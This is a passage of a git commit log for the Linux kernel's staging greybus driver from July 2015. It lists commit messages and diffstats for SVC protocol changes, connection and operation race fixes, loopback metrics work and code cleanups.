2 - 4 files changed, 363 deletions(-) commit 939799057e69f9691919e987b145d5e009358905 Author: Greg Kroah-Hartman Date: Fri Jul 24 17:09:48 2015 -0700 greybus: es2: remove svc endpoint message handling We have switched over to use the "new" svc messages, no more need to have a special USB endpoint to handle them, they come through the normal CPort messages. Based on a patch from Viresh. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 71 ++----------------------------------------- 1 file changed, 2 insertions(+), 69 deletions(-) commit 972e84a8dc3c1fdcff5e423866559c87354cec68 Author: Greg Kroah-Hartman Date: Fri Jul 24 16:47:07 2015 -0700 greybus: es1: remove svc endpoint message handling We have switched over to use the "new" svc messages, no more need to have a special USB endpoint to handle them, they come through the normal CPort messages. Based on a patch from Viresh. Tested-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 71 ++----------------------------------------- 1 file changed, 2 insertions(+), 69 deletions(-) commit 8c116e8d8e99ba6220f1a2cf8bc40b8d34d583d3 Author: Viresh Kumar Date: Fri Jul 24 15:32:24 2015 +0530 greybus: Switch to Cport 0 for svc and control protocol Initially we fixed it to Cport 2, but its changed to Cport 0 now. Lets switch that in code as well. Signed-off-by: Viresh Kumar Tested-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8aa013526e62639e4e1dd1bec75a84fe27ab7432 Author: Viresh Kumar Date: Fri Jul 24 15:32:23 2015 +0530 greybus: es1/2: Lets start using svc protocol All bits and pieces are in place now. Lets start using svc protocol instead of stuff present in ap.c. Signed-off-by: Viresh Kumar Tested-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 15 ++++----------- drivers/staging/greybus/es2.c | 15 ++++----------- 2 files changed, 8 insertions(+), 22 deletions(-) commit 77c461fa861ac813143510caaa712bfb93d15b63 Author: Viresh Kumar Date: Fri Jul 24 18:42:03 2015 +0530 greybus: connection: compare hd_cport_id for matching SVC protocol SVC protocol isn't per interface, but per entire entire endo. And so svc cport id must be matched against hd_cport_id, not per-interface cport id. Fixes: 82edfac17e5f ("connection: don't send connected/disconnected events for SVC connection") Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 52fa38327b39f1d307447023a8eea1f7b7ca0039 Author: Perry Hung Date: Fri Jul 24 19:02:30 2015 -0400 greybus: connection: silence warning on unbound protocols If a protocol was not successfully created, we can't drop the refcount on it. This might happen for example if the connection fails to bind a protocol. Silences a warning on cleanup. Signed-off-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 3 ++- drivers/staging/greybus/protocol.c | 3 --- 2 files changed, 2 insertions(+), 4 deletions(-) commit e619e8505b66229fdf2735ac00891d340111b0a8 Author: Perry Hung Date: Fri Jul 24 19:02:29 2015 -0400 greybus: battery: fix panic on operation error If an operation times out or otherwise returns an error, val->intval should not be set and an error-code should be returned. Fixes a panic on unload while receiving -ENOTCONN. Signed-off-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 23119de4e69c8a96f10de4bcc62d3751e7d77eb4 Author: Viresh Kumar Date: Fri Jul 24 15:32:22 2015 +0530 greybus: interface: localize gb_interface_destroy() Its not referenced by svc or any other code anymore, lets stop exposing it to rest of the files. Signed-off-by: Viresh Kumar Tested-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.h | 1 - 1 file changed, 1 deletion(-) commit b45864d40ca6f453a708d1e74c2108424ac15bdb Author: Viresh Kumar Date: Fri Jul 24 15:32:21 2015 +0530 greybus: svc: remove interface->svc pointer Its not updated/used anymore, remove it. Also move back the struct gb_svc to svc.c as its not referenced by external users anymore. Signed-off-by: Viresh Kumar Tested-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.h | 1 - drivers/staging/greybus/svc.c | 6 ++++++ drivers/staging/greybus/svc.h | 7 +------ 3 files changed, 7 insertions(+), 7 deletions(-) commit dcd05008e491252280c178d9d5300a885b4f4548 Author: Viresh Kumar Date: Fri Jul 24 15:32:20 2015 +0530 greybus: svc: connection is created only once now We no longer create a fresh connection on receiving svc-hello message, but rather update the initial one. Update 'initial_svc_connection' after the connection is fully initialized. Look for the partially initialized connection while removing hd, as hd might be removed before getting svc-hello requests from svc. Also update gb_svc_connection_init() to initialize id_map on the first (and the only) call to connection-init function. We also can't update connection->bundle->intf->svc, as its a bundle-less connection. Lets stop updating intf->svc as its not really used. Signed-off-by: Viresh Kumar Tested-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 6 ++++++ drivers/staging/greybus/svc.c | 28 +++++----------------------- 2 files changed, 11 insertions(+), 23 deletions(-) commit 67c93ae6f544a0953d1159ffcc0dd14bea77fc53 Author: Viresh Kumar Date: Fri Jul 24 15:32:19 2015 +0530 greybus: svc: fully initialize the partially initialized connection SVC hello message is received now and we should fully initialize the partially initialized connection. This can be done by removing and re-adding the device corresponding to the connection. Signed-off-by: Viresh Kumar Tested-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 24 ++++++++++++++++++++++++ drivers/staging/greybus/connection.h | 2 ++ drivers/staging/greybus/svc.c | 16 +--------------- 3 files changed, 27 insertions(+), 15 deletions(-) commit 3dfe8aaaeede22b0601c95cf1a4c2eadcb3851ba Author: Bryan O'Donoghue Date: Fri Jul 24 10:02:56 2015 +0100 greybus: loopback: convert loopback wake/sleep to a waitqueue Current code will incrementally poll for gb->type == 0 and sleep. This type of polling strategy wastes cycles. This patch changes the sleep strategy by introducing a wait-queue which waits for gb->type != 0 or kthread_should_stop() to wake-up and work or to wake-up and terminate. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 30 +++++++++++++++++------------- 1 file changed, 17 insertions(+), 13 deletions(-) commit c2939f41bca86d30388e6fa48e469a4e748b71e2 Author: Greg Kroah-Hartman Date: Wed Jul 22 11:09:23 2015 -0700 greybus: loopback: add poll support to the iteration_count sysfs file This adds the ability to poll on "iteration_count" in sysfs and be woken up when it changes, saving some cycles constantly hammering on the file waiting for it to change. Signed-off-by: Greg Kroah-Hartman Tested-by: Bryan O'Donoghue drivers/staging/greybus/loopback.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 701615f82f29d0cce28a397267f847de3ee93b6e Author: Johan Hovold Date: Thu Jul 23 10:50:03 2015 +0200 greybus: operation: add completion work queue Add dedicated bound work queue for operation completions and use the connection work queues for incoming requests only. There is no need to keep responses ordered internally or with respect to requests. Instead allow operations to complete as soon as possible when a response arrives (or the operation is cancelled). Note that this also allows synchronous requests to be submitted from request handlers as responses will no longer be blocked on the same single-threaded work queue. Similarly, operations can now also be cancelled from a request handler. Tested-by: Rui Miguel Silva Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 25 +++++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) commit 5a5bc354c65d9e5f255f1861212ec5fa4852a891 Author: Johan Hovold Date: Thu Jul 23 10:50:02 2015 +0200 greybus: operation: use per-connection work queues Replace the global operation work queue with per-connection work queues. There is no need to keep operations strictly ordered across connections, something which only adds unnecessary latency. Tested-by: Rui Miguel Silva Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 10 ++++++++++ drivers/staging/greybus/connection.h | 2 ++ drivers/staging/greybus/operation.c | 24 +++++++----------------- 3 files changed, 19 insertions(+), 17 deletions(-) commit 10f9fa133a295fa0f2f36c1a481b7e8b82b12891 Author: Johan Hovold Date: Thu Jul 23 10:50:01 2015 +0200 greybus: connection: clean up creation error paths Clean up connection-creation error paths. Tested-by: Rui Miguel Silva Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) commit 7c63a827d088363d89883a3b24af9bd2a6926924 Author: Johan Hovold Date: Thu Jul 23 10:50:00 2015 +0200 greybus: connection: clean up connection creation Add variable for the host cport id rather than overload retval. Remove redundant automatic variable for the id map. Tested-by: Rui Miguel Silva Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit 2975617421f843cac23eeb573a31d541f2aef9cf Author: Greg Kroah-Hartman Date: Wed Jul 22 18:21:04 2015 -0700 greybus: connection: prevent oops for protocol_id sysfs file If we don't have a protocol assigned to a connection, don't oops when trying to read the "protocol_id" sysfs file. Fixes Jira SW-968. Reported-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar drivers/staging/greybus/connection.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 155b9f175e2c4b36bf433a1b58e90319ea890de8 Author: Viresh Kumar Date: Thu Jul 23 10:30:47 2015 +0530 greybus: svc: Fix build warning on 64bit systems Fix below warnings that only generate for a 64 bit system: greybus/svc.c:202:16: warning: format ‘%d’ expects argument of type ‘int’, but argument 4 has type ‘size_t {aka long unsigned int}’ [-Wformat=] dev_err(dev, "%s: Illegal size of hello request (%d %d)\n", ^ greybus/svc.c:202:16: warning: format ‘%d’ expects argument of type ‘int’, but argument 5 has type ‘long unsigned int’ [-Wformat=] Fixes: 9cbe73e0cf45 ("svc: Implement SVC requests") Reported-by: Greg KH Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4e2b1e46abf4eef013ab7297a215e21d3c22004e Author: Johan Hovold Date: Wed Jul 22 17:49:19 2015 +0200 greybus: connection: fix connection initialisation Make sure connection is fully initialised before registering the connection device and adding it to the host-device and bundle lists. Signed-off-by: Johan Hovold Tested-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit a4e08469ebd913e8145b8ab3ad0b40cfdd451240 Author: Johan Hovold Date: Wed Jul 22 17:49:18 2015 +0200 greybus: operation: clean up greybus_message_sent Add connection variable to greybus_message_sent. This will be put to more use by a follow-up up patch. Signed-off-by: Johan Hovold Tested-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit b4bd734ea60c4fd5a79c0e7fff4940686ff3cbc8 Author: Johan Hovold Date: Wed Jul 22 17:49:17 2015 +0200 greybus: operation: fix operation ordering Make the operation work queue single threaded. The operation work queue was meant to be single threaded, but due to a missing flag instead allowed one active task per CPU, something which could lead to requests being processed out of order on SMP systems. Signed-off-by: Johan Hovold Tested-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 583cbf50e0a4c8918811f245860922353420a378 Author: Bryan O'Donoghue Date: Tue Jul 21 23:50:10 2015 +0100 greybus: loopback: rename frequency to requests The name frequency does not adequately describe the data-point tracking the number of greybus operations performed in a second by the loopback code. Firmware team is moving towards calling this variable requests-per-second or similar. This patch renames to keep the namespace consistent. Signed-off-by: Bryan O'Donoghue Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 23 ++++++++++++----------- 1 file changed, 12 insertions(+), 11 deletions(-) commit e140c75ed9f6897c682e7ac321ef64948f005e64 Author: Bryan O'Donoghue Date: Tue Jul 21 23:50:09 2015 +0100 greybus: loopback: add commentary to sysfs variables Add some missing comments. Add a TODO to look at doing iteration_count with KOBJ_CHANGE event instead of having user-space poll the value reported in iteration_count to determine when a test set is complete. Signed-off-by: Bryan O'Donoghue Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 3 +++ 1 file changed, 3 insertions(+) commit 00af6583d15038cfaa81a99632122b67d49de403 Author: Bryan O'Donoghue Date: Tue Jul 21 23:50:08 2015 +0100 greybus: loopback: run operations a set number of times In order to extract a meaningful set of data out of loopback metrics it makes sense to have the ability to specify how many times a loopback operation should run and then to stop when the threshold is hit. This will allow exactly the same loopback data pattern to be run again and again, which is a fundamental prerequisite to instrumenting and characterizing the loopback interface over time. This patch introduces a simple sysfs controlled variable iteration_max. iteration_max is the maximum number of iterations to run for a given set. iteration_count is used internally to count from zero to iteration_max if-and-only-if iteration_max is non zero. If iteration_max is zero then the original behaviour of running the test command ad infinitum is maintained. User-space should incrementally poll the iteration_count to determine when the sequence is finished. To accomplish this we move away from running as many commands as possible in a one second window and instead run a fixed number of commands and log the time it takes for those commands to complete in aggregate. Since we are no longer resetting counters every one second, the tracker variables have been moved from u32 to u64 to allow for reasonably long tests to gather reasonably large amounts of data, without fear of over-flowing the data-points. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 108 ++++++++++++++++++++----------------- 1 file changed, 58 insertions(+), 50 deletions(-) commit 799a3f03572afa77913f2adc136c87a4b0c64850 Author: Bryan O'Donoghue Date: Tue Jul 21 23:50:07 2015 +0100 greybus: loopback: update loopback operation description comment Old comment needs updating to match 8a282c411ba0 ('greybus/loopback: make loopback type input equivalent to protocol type') Signed-off-by: Bryan O'Donoghue Reviewed-by: Patrick Titiano Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 3156be7deec47564853d13308090828c35f89cb9 Author: Bryan O'Donoghue Date: Tue Jul 21 23:50:06 2015 +0100 greybus: loopback: timestamp seeding should not drop metrics In the current code if the ts variable is not initialized then any data already gathered in a previous loopback command is dropped instead of logged. Also the timestamping of ts is done after the greybus operation. This delayed time-stamping means that the delta between the before and after timestamps is incorrect and if a delay in-between loopback operations has been specified by the user, the ts timestamp will be very skewed indeed. - Move the ts initialization directly before the greybus operation. - Remove the continue statement on first initialization of the ts variable. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 09fb10fe4fc04785eb8a0065c64dd9728ed71dbe Author: Bryan O'Donoghue Date: Tue Jul 21 09:10:28 2015 +0100 greybus: manifest: convert pr_err to dev_err This patch converts a dangling pr_err in the manifest parsing error path to a dev_err in order to remain consistent with similar error messages elsewhere. Signed-off-by: Bryan O'Donoghue Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b38fe3472d38933b9fb751918a09d65f1483ef8b Author: Bryan O'Donoghue Date: Tue Jul 21 09:10:27 2015 +0100 greybus: manifest: reserve control connection cport/bundle ids 5ae6906e ('interface: Get manifest using Control protocol') in gb_create_control_connection introduces the concept that the Control Protocol is at cport_id 2 and bundle_id 0. Currently the manifest parsing code does not enforce that concept and as a result it is possible for a manifest to declare the Control Protocol at a different address. Based on that change 6a6945c9684e ('greybus-spec/control: Formally define Control Protocol reserved addresses') makes the above coding convention a formal requirement of the greybus specification. This patch implements the change introduced in the specification @ 6a6945c9684e. This patch will reject a manifest if it doesn't match the critiera laid down in the spec. This patch makes three changes: - Changes gb_manifest_parse_cports so that only GB_CONTROL_CPORT_ID may have a protocol_id of GREYBUS_PROTOCOL_CONTROL, otherwise the manifest will be rejected. - Changes gb_manifest_parse_bundles so that only GB_CONTROL_BUNDLE_ID may have a class of GREYBUS_CLASS_CONTROL, otherwise the manifest will be rejected. - gb_connection_exit() and gb_connection_destroy() are removed from gb_manifest_parse_cports on error - since gb_manifest_parse_bundles() already has a call into gb_bundle_destroy() which will again call gb_connection_exit() and gb_connection_destroy() leading to an oops. Signed-off-by: Bryan O'Donoghue Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 58 +++++++++++++++++++++----------------- 1 file changed, 32 insertions(+), 26 deletions(-) commit 18d777cd6686dbaf30fd7b1f7bddc5090c60bc98 Author: Viresh Kumar Date: Tue Jul 21 17:44:20 2015 +0530 greybus: svc: No need of a separate version request SVC already provided version to the AP on version-request, no need to ask for that again. Drop it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 19 +------------------ 1 file changed, 1 insertion(+), 18 deletions(-) commit ead35460b5aaeeff5e0376fbae761cc59feb2237 Author: Viresh Kumar Date: Tue Jul 21 17:44:19 2015 +0530 greybus: svc: Implement SVC requests Some of the SVC request are already partially implement, whereas few others are not. This patch implements and updates these requests. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 22 +++- drivers/staging/greybus/svc.c | 163 ++++++++++++++++++++++++++-- 2 files changed, 169 insertions(+), 16 deletions(-) commit d3d448406772e421fb7ed8efd4d02d96cb2ab6f9 Author: Viresh Kumar Date: Tue Jul 21 17:44:18 2015 +0530 greybus: svc: Add helpers to create AP<->SVC connection SVC connection is required before the AP knows its position on the endo and type of endo. To enable message processing between the AP and SVC at this time, we need a partially initialized connection which can handle these messages. Once the AP receives more information from the SVC, it can discard this partially initialized connection and create a proper one, tied to a bundle and interface. Destroying the partially initialized connection is a bit tricky, as it is required to send a response to svc-hello. That part will be properly fixed separately. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/interface.c | 2 +- drivers/staging/greybus/interface.h | 1 + drivers/staging/greybus/svc.c | 88 +++++++++++++++++++++++++++++++++++-- drivers/staging/greybus/svc.h | 3 ++ 5 files changed, 90 insertions(+), 5 deletions(-) commit 7a24a3f6ce507a3169bbc38fc70b9d0919a44cd5 Author: Viresh Kumar Date: Tue Jul 21 17:44:17 2015 +0530 greybus: interface: Update gb_create_control_connection() to support SVC protocol We need to create bundle/connection for svc cport after the endo layout and interface id is known to the AP. gb_create_control_connection() can be reused for this, but it should be renamed to something more appropriate, as its not about control-connection anymore. Lets name it gb_create_bundle_connection(). Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 34 +++++++++++++++++++++++++++------- drivers/staging/greybus/interface.h | 2 +- 2 files changed, 28 insertions(+), 8 deletions(-) commit 75662e5ca9e0d85fd3e94e51712e79c18c10064f Author: Viresh Kumar Date: Tue Jul 21 17:44:16 2015 +0530 greybus: connection: Allow a bundle-less connection We need a bundle-less connection for AP's SVC protocol, as that will be used much before the endo layout and interface-id of the AP is known to greybus core. This updates gb_connection_create_range() to take few more arguments, which were earlier fetched from the 'bundle' pointer. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 31 +++++++++++++++++++------------ drivers/staging/greybus/connection.h | 7 ++++--- 2 files changed, 23 insertions(+), 15 deletions(-) commit 007f979216bda08bb899c78d4f20c229d5fe6845 Author: Viresh Kumar Date: Tue Jul 21 17:44:15 2015 +0530 greybus: connection: Create gb_connection_create_range() to specify hd-cport-id range We need to allocate specific hd-cport-id for AP's control/svc protocols. Support that by splitting functionality of gb_connection_create() into a new routine, which takes range of hd_cport_id's to allocate from. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 14 +++++++++++--- drivers/staging/greybus/connection.h | 3 +++ 2 files changed, 14 insertions(+), 3 deletions(-) commit e602df658888d0dc1d51ab907036c67b87ca9f3a Author: Viresh Kumar Date: Tue Jul 21 17:44:14 2015 +0530 greybus: connection: don't send connected/disconnected events for SVC connection SVC is also a special protocol (like control) and AP doesn't need to send (dis)connected events for its cport. Lets skip them. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ec320625be76641c9f4d594335330a5544716304 Author: Viresh Kumar Date: Tue Jul 21 17:44:13 2015 +0530 greybus: Define cport/bundle for SVC protocol For now, the plan is to use a single cport for both control and svc protocol. Defining separate macros for control and svc protocol's cport/bundle would make the code more flexible, in case we need two separate cports in future. Lets define cport/bundle for svc protocol as well. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit c8dd60db6cae0800e44e68e4c2c0c1af136414be Author: Viresh Kumar Date: Tue Jul 21 17:44:12 2015 +0530 greybus: Define device ids for AP/SVC/modules Define device-ids for AP, SVC and modules (starting id only). Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 6366d73fd49b68b5c1f4ebddc00d79e3cd7b6e3d Author: Viresh Kumar Date: Tue Jul 21 17:44:11 2015 +0530 greybus: protocol: move version_response structure to greybus_protocols.h Version response structure is also required by external entities like gbsim and so its structure should be moved to greybus_protocols.h. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 9 +++++++++ drivers/staging/greybus/protocol.h | 6 ------ 2 files changed, 9 insertions(+), 6 deletions(-) commit 948b3bd592817a7d6dd566823ac1279b37637f5c Author: Viresh Kumar Date: Tue Jul 21 17:44:10 2015 +0530 greybus: sync protocol and class definitions Class types aren't in sync with protocol types, lets keep them in sync for now. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 5 +++++ 1 file changed, 5 insertions(+) commit 25366869577860c12f0dc8b28e2e34c6265a5a7a Author: Viresh Kumar Date: Tue Jul 21 17:44:09 2015 +0530 greybus: interface: drop stale comment We don't do what the comment says, drop it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 392bf9fb2d017c15152380b654b9bfe51a61bff7 Author: Viresh Kumar Date: Tue Jul 21 17:44:08 2015 +0530 greybus: connections: comment style fix Replace '* *' with '*'. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b84abdcb419ff7e2e654381587c61b043a5bc661 Author: Johan Hovold Date: Fri Jul 17 18:50:26 2015 +0200 greybus: operation: fix atomic message submission The recently added GFP-flags argument to gb_message_send was never used. Fixes: 9218fac2a24d ("operation: allow atomic request submissions") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1c7658cf5165586acff901b7e6ef27d8d5f2818d Author: Johan Hovold Date: Fri Jul 17 18:50:25 2015 +0200 greybus: operation: fix atomic response allocation Response allocation also needs a GFP-flags argument as a response is allocated as part of an outgoing operation. Fixes: 9aa174d202e5 ("operation: allow atomic operation allocations") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 3 ++- drivers/staging/greybus/loopback.c | 3 ++- drivers/staging/greybus/operation.c | 11 ++++++----- drivers/staging/greybus/operation.h | 2 +- 4 files changed, 11 insertions(+), 8 deletions(-) commit 93047af23c8389d1a63883dcb59cd8c2fd472b45 Author: Johan Hovold Date: Thu Jul 16 11:44:01 2015 +0200 greybus: kernel_ver: add list_last_entry for old kernels Add list_last_entry macro for kernels older than 3.13. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 5 +++++ 1 file changed, 5 insertions(+) commit 129a06f541d3ff4228589b4b9f0a4681dafb0042 Author: Johan Hovold Date: Tue Jul 14 15:43:37 2015 +0200 greybus: operation: add gb_operation_sync_timeout helper Add gb_operation_sync_timeout convenience function, which allows drivers to configure the operation timeout. Reviewed-by: Bryan O'Donoghue Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 12 +++++++----- drivers/staging/greybus/operation.h | 14 ++++++++++++-- 2 files changed, 19 insertions(+), 7 deletions(-) commit 4f2c08aba792d4c778774e90e47865718eb1b7f8 Author: Johan Hovold Date: Tue Jul 14 15:43:36 2015 +0200 greybus: operation: allow drivers to define custom timeouts Add new interface gb_operation_request_send_sync_timeout, which allows drivers to define a custom operation timeout instead of the default one-second timeout. The timeout is expected to depend on protocol and operation and therefore needs to be configurable. Note that that a timeout of zero is used to wait indefinitely. Reviewed-by: Bryan O'Donoghue Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 19 +++++++++++-------- drivers/staging/greybus/operation.h | 12 +++++++++++- 2 files changed, 22 insertions(+), 9 deletions(-) commit 5a3be769e92ea993f8a8c27b89571c276d874733 Author: Johan Hovold Date: Tue Jul 14 15:43:35 2015 +0200 greybus: operation: split incoming and outgoing cancellation Split incoming and outgoing operation-cancellation helpers. Incoming operations are only cancelled as part of connection tear down and is specifically not needed in the driver API. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 ++++- drivers/staging/greybus/operation.c | 50 ++++++++++++++++++++++++------------ drivers/staging/greybus/operation.h | 1 + 3 files changed, 39 insertions(+), 18 deletions(-) commit 0eb8c1159839dcb6c97fba82e5a8698d9c30f815 Author: Johan Hovold Date: Tue Jul 14 15:43:34 2015 +0200 greybus: operation: fix response-cancellation race Make sure the request handler has submitted the response before cancelling it during operation cancellation. This prevents cancelling not-yet-submitted messages. It currently also avoids us ending up with an active message on a stalled connection (e.g. due to E2EFC). Note that the call to gb_operation_result_set() is now redundant but is kept as a precaution to guarantee that a response has indeed been allocated as part of response submission. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 3325a4ad7122acdbfae5360cafc7152b32eefd57 Author: Johan Hovold Date: Tue Jul 14 15:43:33 2015 +0200 greybus: operation: fix operation look-up race Make sure to fully initialise the operation before adding it to the active list when sending a request. The operation should be fully initialised before adding it to the active list to avoid racing with operation look up when receiving a response, something which could potentially lead to a match against some earlier (or intermediate) value of the id field. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) commit 7f1b67cd535673cef9b9c9fa772d04015f64bd8e Author: Johan Hovold Date: Tue Jul 14 15:43:32 2015 +0200 greybus: connection: fix protocol tear-down race Make sure to cancel all active operations before calling protocol connection_exit to prevent use-after-free issues when the protocol state is being deallocated (e.g. late processing of already-queued requests or completions). Note that already-queued requests or completions will be processed as part of cancellation. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit 008974cb528d301895797fec0f7d4fd64d01fce0 Author: Johan Hovold Date: Tue Jul 14 15:43:31 2015 +0200 greybus: operation: fix connection tear down Fix connection tear down, which was done in an unsafe way that could result in use-after-free as the per-connection list of operations was iterated without any locking or refcounting. Specifically, the operations list was iterated without holding any locks or operation refcounts even though operations were being both removed from the list and deallocated during per-operation cancellation. Any operation completing during tear down could also cause corruption. Change the per-connection operation list to only contain active operations and use the recently introduced active counter to maintain the list. Add new helper that is called on connection tear down to cancel all outstanding operations in a safe way by using proper locks and making sure to hold a reference to any operation being cancelled. Note that by verifying the connection state before incrementing the active count we can make sure that all active operations have been cancelled and that no new ones have been started when the helper returns. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 37 ++++++++--- drivers/staging/greybus/connection.h | 2 +- drivers/staging/greybus/operation.c | 115 +++++++++++++++++++++++------------ drivers/staging/greybus/operation.h | 2 +- 4 files changed, 107 insertions(+), 49 deletions(-) commit cad09a8f8ce843aa11f9a6a8a7aa5c6d6591147b Author: Johan Hovold Date: Tue Jul 14 15:43:30 2015 +0200 greybus: connection: add connection-state locking Add locking, and the implied barriers, to connection-state updates. This will be used to fix a number of races in the operations and connection-tear-down implementations. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 24 ++++++++++++++++++++---- drivers/staging/greybus/connection.h | 1 + 2 files changed, 21 insertions(+), 4 deletions(-) commit 886c6069bc0e16b7215b326831478ed700451038 Author: Johan Hovold Date: Tue Jul 14 15:43:29 2015 +0200 greybus: operation: suppress response submission on connection tear down Suppress response submission on connection tear down as we do with requests. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 3 +++ 1 file changed, 3 insertions(+) commit c600e535a72d0d3ec4b3e8e323e5602cbc49004e Author: Johan Hovold Date: Tue Jul 14 15:43:28 2015 +0200 greybus: operation: clean up operation work function Call request handler helper explicitly from the work function rather than overload the operation completion callback. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 21 